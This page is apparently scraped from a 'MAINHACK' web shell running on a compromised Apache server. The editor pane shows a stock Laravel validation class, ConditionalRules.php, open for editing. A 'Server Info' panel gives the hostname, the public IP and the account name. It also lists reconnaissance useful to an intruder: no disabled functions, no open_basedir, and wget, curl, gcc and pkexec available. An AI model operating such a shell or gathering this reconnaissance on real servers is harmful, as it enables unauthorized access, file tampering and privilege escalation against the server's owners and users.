[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ConditionalRules.php
<?php namespace Illuminate\Validation; use Illuminate\Support\Fluent; class ConditionalRules { /** * The boolean condition indicating if the rules should be added to the attribute. * * @var callable|bool */ protected $condition; /** * The rules to be added to the attribute. * * @var \Illuminate\Contracts\Validation\ValidationRule|\Illuminate\Contracts\Validation\InvokableRule|\Illuminate\Contracts\Validation\Rule|\Closure|array|string */ protected $rules; /** * The rules to be added to the attribute if the condition fails. * * @var \Illuminate\Contracts\Validation\ValidationRule|\Illuminate\Contracts\Validation\InvokableRule|\Illuminate\Contracts\Validation\Rule|\Closure|array|string */ protected $defaultRules; /** * Create a new conditional rules instance. * * @param callable|bool $condition * @param \Illuminate\Contracts\Validation\ValidationRule|\Illuminate\Contracts\Validation\InvokableRule|\Illuminate\Contracts\Validation\Rule|\Closure|array|string $rules * @param \Illuminate\Contracts\Validation\ValidationRule|\Illuminate\Contracts\Validation\InvokableRule|\Illuminate\Contracts\Validation\Rule|\Closure|array|string $defaultRules * @return void */ public function __construct($condition, $rules, $defaultRules = []) { $this->condition = $condition; $this->rules = $rules; $this->defaultRules = $defaultRules; } /** * Determine if the conditional rules should be added. * * @param array $data * @return bool */ public function passes(array $data = []) { return is_callable($this->condition) ? call_user_func($this->condition, new Fluent($data)) : $this->condition; } /** * Get the rules. * * @param array $data * @return array */ public function rules(array $data = []) { return is_string($this->rules) ? explode('|', $this->rules) : value($this->rules, new Fluent($data)); } /** * Get the default rules. * * @param array $data * @return array */ public function defaultRules(array $data = []) { return is_string($this->defaultRules) ? explode('|', $this->defaultRules) : value($this->defaultRules, new Fluent($data)); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.6 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002